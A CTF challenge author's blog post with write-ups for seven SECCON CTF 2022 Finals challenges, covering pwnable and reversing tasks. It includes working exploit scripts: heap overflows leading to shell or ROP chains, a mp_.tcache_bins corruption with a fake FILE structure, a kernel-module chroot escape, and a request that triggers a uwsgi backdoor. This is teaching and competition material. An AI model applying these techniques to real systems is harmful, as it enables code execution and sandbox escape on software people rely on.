CTFするぞ

CTF以外のことも書くよ

Jeopardy Writeups - SECCON CTF 2022 Finals

I supported the organization of SECCON CTF 2022 Finals on February 11th and 12th in Asakusabashi, Tokyo. This is the write-ups for the Jeopardy challenges I created for this CTF.

I will write about the "King of the Hill" challenges later.

The challenge files are uploaded here*1:

github.com

Other write-ups by other challenge authors:

furutsuki.hatenablog.com

[ To the players ] I'm looking forward to reading your write-ups!
Posting only solver scripts is fine if you're busy.
Tag #SECCON or ping @ptrYudai if you post it on twitter :)

Category Challenge Estimated Difficulty
(Domestic / International)
Score Solves
(Domestic / International)
Keywords
Pwnable diagemu Easy / Warmup 200 2 / 8 Unicorn, Heap overflow
Pwnable babyescape Hard / Easy 250 1 / 6 chroot, seccomp, Sandbox Escape
Pwnable Dusty Storage Lunatic / Medium 300 0 / 7 Heap, tcache
Pwnable Conversation Starter Impossible / Hard 500 0 / 6 Heap overflow, sbrk
Reversing Whisky Warmup / Warmup 100 7 / 10 Backdoor, uwsgi
Reversing Paper House Hard / Medium-hard 250 3 / 7 Raspberry Pi Pico, Hardware
Reversing Check in Abyss Lunatic / Hard 300 1 / 8 SMI handler

The score of the Jeopardy challenges are set to static points. This is because it's hard to predict the final score of each challenge and balance them with the King of the Hill challenges.

[Pwnable] diagemu

An x86-64 emulator written in C with the Unicorn engine is given. You can run arbitrary machine code in the emulator. The following code shows the important feature of this emulator:

uint64_t last_insn_addr;
uint16_t last_insn_size;

/* Record last instruction fetched */
static void record_insn(uc_engine *uc, uint64_t address, uint16_t size,
                        void *_user_data) {
  last_insn_addr = address;
  last_insn_size = size;
}

/* Print crash dump */
void show_crash_dump(uint8_t *code) {
  uint32_t pos = v2ofs(last_insn_addr);
  printf("[FATAL] Segmentation fault\nCrash at 0x%lx (insn:", last_insn_addr);
  for (uint32_t i = 0; i < last_insn_size; i++)
    printf(" %02x", code[pos + i]);
  printf(")\n");
}
...
    // Emulate
    if (uc_emu_start(uc, ADDR_CODE_BASE, ADDR_CODE_BASE + SIZE_CODE, 0, 0)) {
      // Patch on crash
      show_crash_dump(code);
      reads("Patch: ", code + v2ofs(last_insn_addr), last_insn_size);
      continue;
    }

When your code crashes, the emulator enters diagnostic mode. You can overwrite the instruction that caused the crash, and restart the code from the beginning.

There is no obvious bug in this program. However, the vulnerability occurs due to a bad design of the Unicorn library.

The part of the code records the last instruction executed.

uint64_t last_insn_addr;
uint16_t last_insn_size;

/* Record last instruction fetched */
static void record_insn(uc_engine *uc, uint64_t address, uint16_t size,
                        void *_user_data) {
  last_insn_addr = address;
  last_insn_size = size;
}

This information is used in order to patch the instruction when it crashed the program. last_insn_size holds the size of the last instruction.

What would happen when the crash is SIGILL? How does unicorn define the size of undefined instruction?

The answer is 0xF1F1F1F1.

github.com

I don't understand why the programmer decided to use this magic number. Anyway, a large heap buffer overflow occurs in diagemu due to this design.

There are many function pointers that the Unicorn engine uses. My exploit overwrites one of them and writes a very simple call chain in order to set RDI to "/bin/sh" and call system.

from ptrlib import *
import os

HOST = os.getenv("SECCON_HOST", "localhost")
PORT = int(os.getenv("SECCON_PORT", "9001"))

code = nasm("""
xend    ; instruction not recognized by unicorn
db 0x41, 0x41, 0x41, 0x41, 0x42, 0x42, 0x42, 0x42
""", bits=64)

libc = ELF("./libc.so.6")
libunicorn = ELF("../files/diagemu/bin/libunicorn.so.2")
sock = Process("../files/diagemu/bin/diagemu",
               env={"LD_LIBRARY_PATH": "../distfiles/"})
#sock = Socket(HOST, PORT)

sock.sendafter(": ", str(len(code)))
sock.sendafter(": ", code)
sock.recvuntil("insn: ")
leak = b''
for i in range(0xf1f1):
    leak += bytes.fromhex(sock.recvregex("[0-9a-f]{2}").decode())
libunicorn_base = u64(leak[0xa8:0xb0]) - libunicorn.symbol('x86_reg_read_x86_64')
libunicorn.base = libunicorn_base
libc.base = libunicorn.base - 0x228000

do_system = libc.base + 0x508f0
rop_mov_rdi_praxP648h_call_praxP640h = libc.base + 0x00094b36
payload = leak[:0xb0] + p64(rop_mov_rdi_praxP648h_call_praxP640h) + leak[0xb8:]
payload = payload[:0x20+0x640] + p64(do_system+2) + p64(next(libc.find("/bin/sh"))) + payload[0x20+0x650:]
sock.sendafter("Patch: ", payload)

sock.sh()

I found this magic number when I was trying to make a Unicorn pwnable challenge that abuses xbegin instruction (and it turned out Unicorn doesn't support this feature). That's why I'm using xend as an undefined instruction in my exploit XD

I heard a solution to overwrite RWX region of Unicorn instead of the call chain, which sounds interesting.

[Pwnable 250] babyescape

The program is simple enough to paste here:

#include <linux/seccomp.h>
#include <sys/prctl.h>
#include <unistd.h>

static void install_seccomp() {
  static unsigned char filter[] = {
    32,0,0,0,4,0,0,0,21,0,0,12,62,0,0,192,32,0,0,0,0,0,0,0,53,0,10,0,0,0,0,
    64,21,0,9,0,161,0,0,0,21,0,8,0,165,0,0,0,21,0,7,0,16,1,0,0,21,0,6,0,
    169,0,0,0,21,0,5,0,101,0,0,0,21,0,4,0,54,1,0,0,21,0,3,0,55,1,0,0,21,0,2,
    0,48,1,0,0,21,0,1,0,155,0,0,0,6,0,0,0,0,0,255,127,6,0,0,0,0,0,0,0
  };
  struct prog {
    unsigned short len;
    unsigned char *filter;
  } rule = {
    .len = sizeof(filter) >> 3,
    .filter = filter
  };
  if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0) _exit(1);
  if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &rule) < 0) _exit(1);
}

int main(void) {
  char *args[] = {"/bin/sh", NULL};

  if (chroot("sandbox")) {
    write(STDERR_FILENO, "chroot failed\n", 14);
    _exit(1);
  }
  if (chdir("sandbox")) {
    write(STDERR_FILENO, "chdir failed\n", 13);
    _exit(1);
  }

  install_seccomp();
  return execve(args[0], args, NULL);
}

You have the root shell 🎉

However, the following seccomp filter is installed:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0c 0xc000003e  if (A != ARCH_X86_64) goto 0014
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x0a 0x00 0x40000000  if (A >= 0x40000000) goto 0014
 0004: 0x15 0x09 0x00 0x000000a1  if (A == chroot) goto 0014
 0005: 0x15 0x08 0x00 0x000000a5  if (A == mount) goto 0014
 0006: 0x15 0x07 0x00 0x00000110  if (A == unshare) goto 0014
 0007: 0x15 0x06 0x00 0x000000a9  if (A == reboot) goto 0014
 0008: 0x15 0x05 0x00 0x00000065  if (A == ptrace) goto 0014
 0009: 0x15 0x04 0x00 0x00000136  if (A == process_vm_readv) goto 0014
 0010: 0x15 0x03 0x00 0x00000137  if (A == process_vm_writev) goto 0014
 0011: 0x15 0x02 0x00 0x00000130  if (A == open_by_handle_at) goto 0014
 0012: 0x15 0x01 0x00 0x0000009b  if (A == pivot_root) goto 0014
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0014: 0x06 0x00 0x00 0x00000000  return KILL

Since chroot is disabled, you cannot simply bypass it. So, how can one escape from chroot?

One idea is to take control of another root process because chroot only separates the directory, not process namespace. However, every system call useful for controlling process is disabled*2.

Another famous system call is open_by_handle_at, also known as Shocker in the context of Docker escape. This system call is also disabled.

Let's check what system calls a container must disable. Fortunately Docker publishes the list of dangerous system calls.

docs.docker.com

You will notice kexec_load and kexec_file_load in the table. These system calls allow us to load a Linux kernel module, which looks very useful for this challenge.

You have to download a Linux kernel corresponding to the version used in this challenge. Then, you can build your own kernel module which exploits the system.

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/slab.h>
#include <linux/random.h>
#include <asm/uaccess.h>

#define DEVICE_NAME "pwn"

MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("Intended Solution for chr00t - SECCON 2022 Finals");

static int module_open(struct inode *inode, struct file *file) {
  int ret;
  char userprog[] = "/bin/sh";
  char *argv[] = {
    userprog, "-c",
    "/bin/cat /root/flag.txt > /sandbox/flag.txt", NULL
  };
  char *envp[] = {"HOME=/", "PATH=/sbin:/usr/sbin:/bin:/usr/bin", NULL };
  ret = call_usermodehelper(userprog, argv, envp, UMH_WAIT_EXEC);
  if (ret != 0)
    printk("pwn: failed with %d\n", ret);
  else
    printk("pwn: success\n");
  return 0;
}

static struct file_operations module_fops = {
  .owner = THIS_MODULE,
  .open  = module_open,
};

static int __init module_initialize(void) {
  register_chrdev(60, DEVICE_NAME, &module_fops);
  return 0;
}

static void __exit module_cleanup(void) {
  unregister_chrdev(60, DEVICE_NAME);
}

module_init(module_initialize);
module_exit(module_cleanup);

It looks like some teams couldn't get the flag simply by calling call_usermodehelper. I don't know why ¯\(シ)

[Pwnable 300] Dusty Storage

Who wants ice cream? Who wants heap heaven?

The source code is a bit long (147 lines) so I'll paste only the important part:

#define TYPE_REAL    0xdeadbeefcafebabeUL
#define TYPE_STRING  0xc0b3beeffee1deadUL

typedef struct {
  union {
    double real;
    char *string;
  };
  size_t type;
} item_t;

typedef struct {
  size_t size;
  item_t *items;
} storage_t;

...

/**
 * Set the value of an item in a storage
 */
void set_item(storage_t *storage) {
  if (!storage->items) {
    print("uninitialized\n");
    return;
  }

  size_t idx  = readi("index: ");
  size_t type = readi("type [0=str / x=real]: ");
  if (type == 0) {
    storage->items[idx].type = TYPE_STRING;
  } else {
    storage->items[idx].type = TYPE_REAL;
  }

  if (idx >= storage->size) {
    print("insufficient storage size\n");
    return;
  }

  if (storage->items[idx].type == TYPE_STRING) {
    storage->items[idx].string = reads("value: ");
  } else {
    storage->items[idx].real = readf("value: ");
  }
}

You will immediately notice the out-of-bounds write in set_item. However, it only writes the type of an item, which is just a very big random value such as 0xdeadbeefcafebabe.

So, you have a primitive to write very big values to anywhere relative to the heap. What can we do?

First of all, you have to leak some pointers. This is not so hard.

  1. Allocate a big chunk fit to unsorted bin.
  2. Free the chunk and link pointers to main_arena (top of unsorted bin) are written on the heap.
  3. Allocate a small chunk and it'll be sliced from the previously freed chunk with the link pointers left.
  4. Read the leftover of a link pointer (recognized as REAL value)
"""
Leak heap and libc addresses
"""
new(0x428 // 0x10)
get('0' + '\0'*0x80) # alloc chunk to avoid consolidation
new(0x28 // 0x10)
libc.base = u64(p64(float(get(0)))) - libc.main_arena() - 0x450
heap_base = u64(p64(float(get(1)))) - 0x310
logger.info("heap: " + hex(heap_base))

Okay, so the next thing is the most important part of this task. We have to exploit the program with writing 0xdeadbeefcafebabe to somewhere. Some would come up with global_max_fast, which holds the threshold size for fastbin. However, we can't overwrite this variable as it's located at the offset of value, not type.

The intended solution is to overwrite mp_.tcache_bins instead of global_max_fast. mp_.tcache_bins holds the threshold size for tcache. This value is not intended to be modified in libc but became writable since libc-2.29 or thereabouts.

elixir.bootlin.com

elixir.bootlin.com

If you overwrite mp_.tcache_bins to a big value, malloc tries to pop tcache chunks out-of-bound of the actual tcache arena. So, malloc returns a pointer that the attacker set somewhere on the heap, which drops AAW primitive. I modified _IO_list_all to get the shell using the technique recently found by kylebot.

from ptrlib import *
import os

HOST = os.getenv("SECCON_HOST", "localhost")
PORT = int(os.getenv("SECCON_PORT", 9007))

TYPE_STR, TYPE_REAL = 0, 1

def new(size):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter(": ", str(size))
def set(index, type, value=None):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter(": ", str(index))
    sock.sendlineafter(": ", str(type))
    if value is not None:
        if isinstance(value, bytes):
            sock.sendlineafter(": ", value)
        elif isinstance(value, int):
            value = u64f(p64(value))
            sock.sendlineafter(": ", str(value))
        else:
            sock.sendlineafter(": ", str(value))
def get(index):
    sock.sendlineafter("> ", "3")
    sock.sendlineafter(": ", str(index))
    return sock.recvline()

libc = ELF("../files/husk/bin/libc.so.6")
sock = Socket(HOST, PORT)

"""
Leak heap and libc addresses
"""
new(0x428 // 0x10)
get('0' + '\0'*0x80) # alloc chunk to avoid consolidation
new(0x28 // 0x10)
libc.base = u64(p64(float(get(0)))) - libc.main_arena() - 0x450
heap_base = u64(p64(float(get(1)))) - 0x310
logger.info("heap: " + hex(heap_base))

"""
Corrupt mp_.tcache_bins
"""
addr_mp = libc.base + 0x219360
ofs = ((addr_mp + 0x60) - (heap_base + 0x320)) // 0x10
set(ofs, TYPE_REAL)

"""
Get arbitrary address from malloc
"""
payload  = str(0x458 // 0x10).encode()
payload += b'\x00' * (0x10-len(payload))
payload += p64(libc.base + 0x21a680) # _IO_list_all
sock.sendlineafter("> ", "1")
sock.sendlineafter(": ", payload)

"""
Write fake FILE structure
"""
fake_file = flat([
    0x3b01010101010101, u64(b"/bin/sh\0"), # flags / rptr
    0, 0, # rend / rbase
    0, 1, # wbase / wptr
    0, 0, # wend / bbase
    0, 0, # bend / savebase
    0, 0, # backupbase / saveend
    0, 0, # marker / chain
], map=p64)
fake_file += p64(libc.symbol("system")) # __doallocate
fake_file += b'\x00' * (0x88 - len(fake_file))
fake_file += p64(heap_base) # lock
fake_file += b'\x00' * (0xa0 - len(fake_file))
fake_file += p64(heap_base + 0x350) # wide_data
fake_file += b'\x00' * (0xd8 - len(fake_file))
fake_file += p64(libc.base + 0x2160c0) # vtable (_IO_wfile_jumps)1
fake_file += p64(heap_base + 0x358) # _wide_data->_wide_vtable
assert is_gets_safe(fake_file)
set(0, TYPE_STR, fake_file)

"""
Win!
"""
sock.sendlineafter("> ", "0")

sock.interactive()

Some teams solved this challenge with more tricky solution without mp_.tcache. Good job!

[Pwnable 500] Conversation Starter

I didn't expect so many teams in the international division would solve this task.

This program has 2 vulnerabilities. The first one is a heap overflow caused by an integer overflow:

/**
 * @fn
 * Get user input as string.
 * @param msg   Message to print before input.
 * @param buf   Buffer to store user input.
 * @param size  Maximum size to read.
 * @param delim Deliminater byte to stop reading input. If this value is zero, this function reads exactly @p size bytes.
 */
void readline(const char *msg, u8 delim, u8 *buf, u32 size) {
  u8 c;
  u32 i;
  printf("%s", msg);

  /* Read until deliminater */
  for (c = 0, i = 0; i < size-1; i++) {
    if (read(STDIN_FILENO, &c, 1) != 1) {
      break;
    } else if (delim && c == delim) {
      buf[i] = '\0';
      return;
    }
    buf[i] = c;
  }

  /* Clear uninitialized memory region */
  for (; i < size-1; i++, buf[i] = '\0');
}

/**
 * @fn
 * Start conversation
 */
void start_conversation(void) {
  u8 size;

  if (read_u32("change name? [1=Yes / 2=No]: ") == 1) {
    /* Ask name of Alice */
    size = (u8)read_u32("length of name 1: ");
    readline("name 1: ", 0, name_alice, size);

    /* Ask name of Bob */
    size = (u8)read_u32("length of name 2: ");
    readline("name 2: ", 0, name_bob, size);
  }
...

If you send "0" as the length of name, readline tries to read forever due to the integer overflow in size-1.

However, this vulnerability is not useful because of the following code in readline:

  /* Clear uninitialized memory region */
  for (; i < size-1; i++, buf[i] = '\0');

If size is 0, this loop runs 0xffffffff-n times, which obviously cause a crash.

The another vulnerability is a small heap overflow in edit_message:

/**
 * @fn
 * Edit a dialogue
 */
void edit_message(void) {
  u32 index, type;

  /* Ask index */
  index = read_u32("index: ");
  if (index >= MAX_SLOT) return;

  /* Ask interval and unit */
  slot[index]->interval = read_u32("interval: ");
  type = read_u32("[1] sleep / [2] usleep: ");
  slot[index]->fn_sleep = (type == 1) ? (void*)sleep : usleep;

  /* Ask message */
  readline("message: ", '\n', slot[index]->message, sizeof(dialogue_t)-1);
}

dislogue_t is defined as below:

typedef struct {
  i32 (*fn_sleep)(u32);
  u32 interval;
  char message[40];
} dialogue_t;

So, the size of message is 40. However, readline tries to read sizeof(dialogue_t)-1 bytes. Since readline reads size-1 bytes, this is 46-byte overflow.

As the size of dialogue_t is 48=0x30, the overflow looks like this:

As shown in the above figure, the heap overflow overwrites the first 2 bytes of fn_sleep in the adjacent slot. fn_sleep holds a function pointer to either sleep or usleep. You can't simply use one gadget due to seccomp that disables execve.

Let's check what functions exist near sleep and usleep.

$ objdump -S -M intel /usr/lib/x86_64-linux-gnu/libc.so.6 > objdump.txt
$ cat objdump.txt | grep "<sleep>"
00000000000ea5e0 <sleep>:
  132755:       e8 86 7e fb ff          call   ea5e0 <sleep>
  13c682:       e8 59 df fa ff          call   ea5e0 <sleep>
  13d3ce:       e8 0d d2 fa ff          call   ea5e0 <sleep>
$ cat objdump.txt | grep "00000000000e"
00000000000e0da0 <strptime_l>:
00000000000e0db0 <strftime>:
00000000000e0dd0 <wcsftime>:
...
00000000000edc20 <collated_compare>:
00000000000edc60 <glob_in_dir>:
00000000000ee5b0 <glob64@@GLIBC_2.27>:

$ cat objdump.txt | grep "<usleep>"
000000000011c090 <usleep>:
$ cat objdump.txt | grep "000000000011"
0000000000111110 <parse_arith>:
0000000000111630 <wordfree>:
00000000001116a0 <wordexp>:
...
000000000011fd60 <trecurse_r>:
000000000011fdf0 <tdestroy_recurse>:
000000000011ffd0 <__tsearch>:

If you look over the functions near usleep, you can find something interesting:

...
000000000011a960 <nice>:
000000000011a9d0 <brk>:
000000000011aa10 <__sbrk>:
000000000011aac0 <ioctl>:
000000000011ab50 <readv>:
...

brk and sbrk are famous for heap pwners. These functions can be used in order to change the location of the program break. In other words, they can expand the heap.

Recall that we had another vulnerability in readline, which we couldn't abuse because it overwrites the heap "infinitely". Now, with the sbrk call, we can expand the heap so that the infinite overwrite doesn't crash!

With the infinite overflow, we can freely overwrite function pointers on the heap. You have to write some tricky call chains due to seccomp but I don't cover it as it's not the important part of this task.

from ptrlib import *
import os

HOST = os.getenv("SECCON_HOST", "localhost")
PORT = int(os.getenv("SECCON_PORT", "9002"))

SLEEP, USLEEP = 1, 2

def edit(index, interval, type, message):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter(": ", str(index))
    sock.sendlineafter(": ", str(interval))
    sock.sendlineafter(": ", str(type))
    if len(message) == 0x36:
        sock.sendafter(": ", message)
    else:
        sock.sendlineafter(": ", message)

def start(name1len=0, name1=b'', name2len=0, name2=b''):
    sock.sendlineafter("> ", "2")
    if name1:
        sock.sendlineafter(": ", "1")
        sock.sendlineafter(": ", str(name1len))
        sock.sendafter(": ", name1)
        sock.sendlineafter(": ", str(name2len))
        sock.sendafter(": ", name2)
    else:
        sock.sendlineafter(": ", "2")

libc = ELF("libc-2.31.so")

while True:
    sock = Socket(HOST, PORT)
    libc.base = 0
    elf.base = 0

    """
    Leak libc base
    """
    edit(0, 0, USLEEP, b"A"*0x36)
    edit(1, 1, USLEEP, "Hello")
    start()
    l = sock.recvlineafter("Alice: ")[0x34:]
    libc.base = u64(l) - libc.symbol("usleep")
    if libc.base < 7e0000000000 or libc.base >= 0x800000000000 \
       or libc.base & 0xf000 != 0x3000:
        logger.warning("Bad luck!")
        sock.close()
        continue

    """
    Expand heap
    """
    edit(1, 0x34000000, USLEEP, "Hello")
    payload  = b"\x00"*(4+0x28)
    payload += p64(0x41)
    payload += b'\xe0\x72' # sbrk
    edit(0, 0xcafe, USLEEP, payload)
    start()
    if b"Segmentation fault" in sock.recvline():
        logger.warning("Bad luck!")
        sock.close()
        continue
    elif b"Segmentation fault" in sock.recvline():
        logger.warning("Bad luck!")
        sock.close()
        continue

    """
    Heap overflow
    """
    # 0x001477f9: mov rax, [rbp+8]; call qword ptr [rax+0x28];
    # 0x00156d39: mov [rsp], rax; mov rax, [rbp+8]; call qword ptr [rax+8];
    # 0x0012796f: pop rbp; cmp [rcx], dh; rcr byte ptr [rbx+0x5d], 0x41; pop rsp; ret;
    start(8, "A"*8, 0, "B"*0x110)
    payload  = b''
    payload += p64(next(libc.gadget('mov rax, [rbp+8];'
                                    'call [rax+0x28]'))) # (1) rax = slot[1]
    payload += p32(0xdeadbeef)
    payload += b'A'
    payload += b'/flag.txt\0'
    payload += b'A' * (0x40 - len(payload))
    payload += p64(next(libc.gadget('add rsp, 0x28;'
                                    'ret;'))) # ROP[0] --> skip garbage
    payload += p64(libc.base + 0x0012796f) # (3) to ROP
    payload += b'A' * (0x40 + 0x18 - len(payload))
    payload += p64(next(libc.gadget('pop r15; ret;'))) # called from rop
    payload += b'A' * (0x40 + 0x28 - len(payload))
    payload += p64(next(libc.gadget('mov [rsp], rax;'
                                    'mov rax, [rbp+8];'
                                    'call [rax+8]'))) # (2) [rsp] = rax
    payload += flat([
        # open("/flag.txt", O_RDONLY)
        next(libc.gadget('mov rdi, rbx; call [rax+0x18]')),
        next(libc.gadget('pop rsi; ret;')),
        0,
        libc.symbol('open'),
        # read(3, buf, 0x1000)
        next(libc.gadget('pop rdx; ret;')),
        0x1000,
        next(libc.gadget('pop rsi; ret;')),
        libc.section('.bss') + 0x1000,
        next(libc.gadget('pop rdi; ret;')),
        3,
        libc.symbol('read'),
        # write(1, buf, 0x1000)
        next(libc.gadget('pop rdi; ret;')),
        1,
        libc.symbol('write'),
        # exit(0)
        next(libc.gadget('pop rdi; ret;')),
        0,
        libc.symbol('exit')
    ], map=p64)
    sock.send(payload)
    sock.shutdown("write")

    logger.info("[+] Wait until the flag comes... (Don't enter anything)")

    sock.interactive()
    break

[Reversing] Whisky

I was making a pwnable task of uwsgi but I changed it to an easy reversing task as there were enough pwnable tasks already.

You're given an uwsgi library that works as an HTTP server. If you open it with IDA and briefly check the code, you will soon notice it has a backdoor.

char *val = uwsgi_get_var(wsgi_req, "HTTP_BACKDOOR", 13, &vlen);
...
if (!uwsgi_strnicmp(val, vlen, "enabled", 7)
    && wsgi_req->authorization_len == 16
    && wsgi_req->uri) {
  char *path = uwsgi_strncopy(wsgi_req->uri, wsgi_req->uri_len);
  char *key = uwsgi_strncopy(wsgi_req->authorization,
                             wsgi_req->authorization_len);
  backdoor(wsgi_req, path, (unsigned char*)key);
  free(path);
  free(key);
}

I think the only hard thing in this challenge is to spot the offset for each member of wsgi_request structure. You can find it here:

github.com

The backdoor is simple. It opens a file specified in the URL path, encrypt the file with AES-128-ECB using the key given in Authentication header, and response the encrypted file in Backdoor header.

from Crypto.Cipher import AES
import requests
import os

HOST = os.getenv("SECCON_HOST", "localhost")
PORT = int(os.getenv("SECCON_PORT", "8080"))

key = "A"*0x10
r = requests.get(f"http://{HOST}:{PORT}/flag.txt",
                 headers={
                     'Backdoor': 'enabled',
                     'Authorization': key
                 })

c = bytes.fromhex(r.headers['Backdoor'])
aes = AES.new(key.encode(), AES.MODE_ECB)
print(aes.decrypt(c))

[Reversing] Paper House

The task is to reverse engineer a digital circuit for the keypad authentication system of a safe.

I was planning to make a real hardware (including the safe) for this challenge so that every team can debug it. However, the keypad required to assemble the circuit haven't arrived my home yet...

So, I just distributed the circuit diagram and UF2 file of Raspberry Pi Pico.

It's super simple.

The main part is reversing UF2. You can extract the machine code using the UTF2 tools. Ghidra is able to decompile the code a little if you specify the architecture (ARM:LE:32:v8) by youself.

There is a function that records the button pushed.

int check_button_state(uint state, bool prev[16]) {
  int j;
  bool row1, row2, row3, row4, col1, col2, col3, col4;
  row1 = (state >> PIN_ROW1) & 1;
  row2 = (state >> PIN_ROW2) & 1;
  row3 = (state >> PIN_ROW3) & 1;
  row4 = (state >> PIN_ROW4) & 1;
  col1 = (state >> PIN_COL1) & 1;
  col2 = (state >> PIN_COL2) & 1;
  col3 = (state >> PIN_COL3) & 1;
  col4 = (state >> PIN_COL4) & 1;
  bool check[16] = {
    row4 & col1, row1 & col1, row1 & col2, row1 & col3,
    row2 & col1, row2 & col2, row2 & col3, row3 & col1,
    row3 & col2, row3 & col3, row1 & col4, row2 & col4,
    row3 & col4, row4 & col4, row4 & col3, row4 & col2,
  };
  uint table[16] = {
    15, 3, 10, 1, 4, 5, 12, 13, 9, 2, 6, 11, 8, 7, 14, 0
  };

  for (j = 0; j < 16; j++) {
    if (!prev[j] && check[j]) {
      prev[j] = true;
      return table[j];
    } else if (!check[j]) {
      prev[j] = false;
    }
  }

  return -1;
}
...
    state = gpio_get_all();
    n = check_button_state(state, prev_state);
    if (n != -1) {
      play_click(&config, slice);
      sleep_ms(100);
      slot[slot_pos] = n;
      slot_pos++;
      if (slot_pos == 16) {
        unlock_door(&config, slice, slot);
        slot_pos = 0;
      }
    }

The only important part in the code above is the table in check_button_state. It maps the number pushed onto some other numbers.

The actual check routine exists in unlock_door function:

void unlock_door(pwm_config *config, uint slice, uint slot[16]) {
  uint x = 0, v = 777;
  for (uint i = 0; i < 16; i++) {
    x |= slot[i] - (v & 0xf);
    if (v % 2 == 0) {
      v >>= 1;
    } else {
      v = v * 3 + 1;
    }
  }
  if (x == 0) {
    play_ok(config, slice);
    gpio_put(PIN_MOTOR, 1);
    sleep_ms(5000);
    gpio_put(PIN_MOTOR, 0);
  } else {
    play_error(config, slice);
  }
}

Compute this sequence, inverse them by the given table, and you will get the answer sequence.

s = [777]

for _ in range(1, 16):
    n = s[-1]
    if n % 2 == 0:
        s.append(n // 2)
    else:
        s.append(n * 3 + 1)

table = [15, 3, 10, 1, 4, 5, 12, 13, 9, 2, 6, 11, 8, 7, 14, 0]
itable = [table.index(i) for i in range(16)]

print(s)
v = list(map(lambda x: itable[x % 0x10], s))
print(v)

print("SECCON{", end='')
for x in v:
    print(hex(x)[2:].upper(), end='')
print("}")

The challenge is named after the title of a recent drama: Money Heist. "Paper House" is the Japanese translation of the title. Until I write this writeup, I didn't know the English title was different.

[Reversing] Check in Abyss

The following 4 files are distributed:

  • bios.bin
  • bzImage
  • rootfs.cpio
  • run.sh

The QEMU gives you a root shell.

As written in the challenge description, there is a program named delver This program has an unfamiliar instruction: outb 0xb2.

outb al, 0xb2

Googling this instruction, you will find it is the entry of the SMM; System Management Mode. SMM is the most privileged operation mode in x86 and also called Ring -1.

You have to first find the entrypoint of the SMI handler. You can search for inb XX, 0xb2 instruction in the BIOS code. Or, if you notice the BIOS is based on SeaBIOS, you can diff the BIOS codes to spot patched codes.

The algorithm is not that hard. It is a simple RC4-based encryption:

from ptrlib import *

with open("FLAG.txt", "rb") as f:
    flag = f.read().strip()

S = [i for i in range(0x100)]
j, h = 0, 0xba77c1
for i in range(0x100):
    j = (j + S[i] + h) % 0x100
    S[i], S[j] = S[j], S[i]
    h = (h * h) % (1 << 32)

for block in chunks(flag, 8, b'\x00'):
    j = key = 0
    for i in range(8):
        j = (j + S[i]) % 0x100
        S[i], S[j] = S[j], S[i]
        key = (key << 8) | S[(S[i] + S[j]) % 0x100]
    print(hex(key ^ u64(block)), end=", ")
print()

However, you may struggle to understand the user-land code because some registers are referenced / modified inside the SMI handler.

  unsigned long long int index = smm->cpu.i64.rdi;
  unsigned long long int plain = smm->cpu.i64.rdx;
  ...
  smm->cpu.i64.rip = smm->cpu.i64.r15;
ok:
  smm->cpu.i64.rdi = index;
  smm->cpu.i64.rax = 0;

Also, it is hard to debug SMI handler. If you know a beautiful way to debug this layer, please teach me :)

The challenge is named after a recent Japanese anime: Made in Abyss. For me, the Ring system of the Intel architecture looked similar to the Abyss in the anime, a giant hole descending deep into the earth. SMM is actually not the "abyss" of the Intel architecture, but I think it's the deepest part that can be emulated on QEMU.

Write-ups

I'm looking forward to reading your write-ups! Tweet it with #SECCON or @ptrYudai so that we can find your writeup :-)

*1:The official repository will be published by SECCON

*2:That's all as far as I know. Please teach me if there's more.